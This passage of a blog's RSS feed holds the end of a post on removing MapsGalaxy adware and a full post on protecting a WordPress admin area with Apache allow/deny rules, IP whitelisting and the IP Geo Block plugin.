<p>MapsGalaxy can be categorized as adware for several reasons. First of all it changes an affected computerâ€˜s home page and search engine without leaving any option for a computer user to choose them. Even if you try to reset these in your browser settings, you will be redirected to home.mywebsearch.com as if no changes were made. When you work with computer or make any search inquiries, you will be displayed with various advertisements. Mindspark Interactive Network, Inc. that is behind the toolbar promotes its search page and wants to drive as much traffic there as possible. This is where it earns money from. Mindspark mixes sponsored search results with other and once a user clicks on a promoted link, the company gets paid for it.</p>
<p>MapsGalaxy can be downloaded from the companyâ€˜s official website or its affiliate web pages. To increase the number of its users not fair means are also used. One of the most common ways of distributing adware like MapsGalaxy is to bundle it with other freeware. When a person installs a wanted program together with it, she gets other unwanted applications. These were marked to be installed by default. Only using a manual installation option it is possible to refuse other installs but many choose an automatic one and do not read any instructions.</p>
<p>I recommend to remove MapsGalaxy and all the files related to it as soon as you see its symptoms. In some cases you will be able to uninstall it from control panel, but it might leave browser configuration hijacked. To get rid of it, use <a href="http://www.majauskas.com/downloads/spyhunter.exe">Spyhunter</a> or other anti-malware program, which detect potentially unwanted programs. In some cases you will have to <a href="â€œ"> fix your search settings</a> manually.</p>
<p>The post <a href="https://www.majauskas.com/how-to-get-rid-of-mapsgalaxy-adware">How to get rid of MapsGalaxy adware</a> appeared first on <a href="https://www.majauskas.com">Giedrius Majauskas blog</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.majauskas.com/how-to-get-rid-of-mapsgalaxy-adware/feed</wfw:commentRss>
			<slash:comments>1</slash:comments>
		
		
			</item>
		<item>
		<title>How to secure WordPress blog admin area on dedicated machines</title>
		<link>https://www.majauskas.com/how-to-secure-wordpress-blog-admin-area-on-dedicated-machines</link>
					<comments>https://www.majauskas.com/how-to-secure-wordpress-blog-admin-area-on-dedicated-machines#respond</comments>
		
		<dc:creator><![CDATA[Giedrius Majauskas]]></dc:creator>
		<pubDate>Wed, 02 Jan 2013 15:27:52 +0000</pubDate>
				<category><![CDATA[Security]]></category>
		<guid isPermaLink="false">http://www.majauskas.com/?p=690</guid>

					<description><![CDATA[<p>I have written on WordPress security in the past and listed some plugins that cover popular security issues. I have used Simple Login log in the past, and it is quite good although no longer good enough solution to secure WordPress admin area alone. Typical solution will block admin folder only and [&#8230;]</p>
<p>The post <a href="https://www.majauskas.com/how-to-secure-wordpress-blog-admin-area-on-dedicated-machines">How to secure WordPress blog admin area on dedicated machines</a> appeared first on <a href="https://www.majauskas.com">Giedrius Majauskas blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p></p>


<p>I have written on WordPress security in the past and listed some plugins that cover popular <a href="https://www.majauskas.com/8-steps-to-make-wordpress-safer">security issues</a>. I have used Simple Login log in the past, and it is quite good although no longer good enough solution to secure WordPress admin area alone.</p>
<p>Typical solution will block admin folder only and maybe wp-login. This is no longer good enough, as it will not prevent someone from using login page to brute-forcing your password. As I have found out the hard way, this might cause serious problems. </p>
<h2>Using .htaccess to secure WordPress admin and other areas</h2>
<p>Recently, one of my WP blog servers had connection problems. They were caused by someone trying to guess admin user&#8217;s password couple tries per second. Simple Login Log tracks such things and increases the load even further (as it writes such entries to db). This was complicated further by spam bots (I get around 2500 spam comments per day on that blog).</p>
<p>So, how to  prevent this from happening, preferably on all blogs hosted on the same server?</p>
<p>Interestingly, you can add allow/deny directives for single file (or group of files) as well, and they work on server-basis if added in the main config file (/etc/httpd/conf.d/httpd.conf in my case).</p>
<p>The rules look like this :</p>
<blockquote>
<p><code><br />
&lt;files wp-login.php&gt;<br />
Order Deny,Allow<br />
Deny from All<br />
allow from xxx.xxx<br />
allow from xxx.xxx.xxx.xxx<br />
&lt;/files&gt;<br />
</code></p>
</blockquote>
<p><br />There are 2 ways to white-list IPs.<br />XXX.XXX or XXX.XXX.XXX &#8211; subnet where you login from without fixed IPs,<br />and xxx.xxx.xxx.xxx are ip you login from.<br />Now each attempt to brute-force your password into your WordPress admin it will result in adding 2 lines to log files : one to access log and one to error log. It will not be processed by PHP.</p>
<p>Another part to whitelist-only is<a href="https://codex.wordpress.org/XML-RPC_Support"> XML-RPC</a> backend on wordpress (xml-rpc.php). It is used for remote administration, but you should not leave it open in most of the cases as it allows brute-forcing passwords. You can include it under similar rule in global config file. This increases security of your wordpress admin and reduces server load.</p>
<h3>Using global config to block bad commenters</h3>
<p>Additionally, one could use this way to block some popular (Chineese mostly) spam bot IPs:</p>
<blockquote>
<p><code>&lt;Files wp-comments-post.php&gt;<br />
Order Allow,Deny<br />
allow from all<br />
deny from 113.212.70<br />
deny from 123.156<br />
deny from 218.72<br />deny from 60.182.158<br />
&lt;/Files&gt;<br />
</code></p>
</blockquote>
<p>We write out bad ips and networks here. </p>
<p> </p>


<h2 class="wp-block-heading">Using IP Geo Block to block bad visitors</h2>



<figure class="wp-block-image"><img loading="lazy" decoding="async" width="1017" height="526" src="https://www.majauskas.com/wp-content/uploads/2013/01/ip-geo-block.png" alt="" class="wp-image-883" srcset="https://www.majauskas.com/wp-content/uploads/2013/01/ip-geo-block.png 1017w, https://www.majauskas.com/wp-content/uploads/2013/01/ip-geo-block-300x155.png 300w, https://www.majauskas.com/wp-content/uploads/2013/01/ip-geo-block-768x397.png 768w" sizes="auto, (max-width: 1017px) 100vw, 1017px" /></figure>



<p>On many sites I use <a href="https://wordpress.org/plugins/ip-geo-block/">IP Geo Block</a> currently to secure WordPress admin. It blocks separate areas by using GEO IP databases that it downloads to the wordpress servers.</p>



<p>Why this is useful ? Well, it is better in some cases than global blacklist list due to following:</p>



<ul class="wp-block-list">
	<li>It refreshes list of IPs by countries regularly, thus you don&#8217;t need to maintain it</li>
	<li>It blocks against some common exploits as well.</li>
	<li>It blocks IP&#8217;s access to wp-login or xml-rpc after some bad tries. This secures WordPress admin dashboard even from attacks from the same network (if you IP is dynamic, you might have to use this).</li>
	<li>It keeps logs if you wish and you can turn them off if you have too many attacks. </li>
</ul>



<p>It is great solution to prevent some location-based spam and attack bots, though it is not suitable to block non-location based networks from access commenting.</p>



<p></p>
<p>The post <a href="https://www.majauskas.com/how-to-secure-wordpress-blog-admin-area-on-dedicated-machines">How to secure WordPress blog admin area on dedicated machines</a> appeared first on <a href="https://www.majauskas.com">Giedrius Majauskas blog</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.majauskas.com/how-to-secure-wordpress-blog-admin-area-on-dedicated-machines/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss><!--
Performance optimized by W3 Total Cache. Learn more: https://www.boldgrid.com/w3-total-cache/?utm_source=w3tc&utm_medium=footer_comment&utm_campaign=free_plugin

Page Caching using Disk: Enhanced (Page is feed) 

Served from: www.majauskas.com @ 2026-05-11 09:57:07 by W3 Total Cache
-->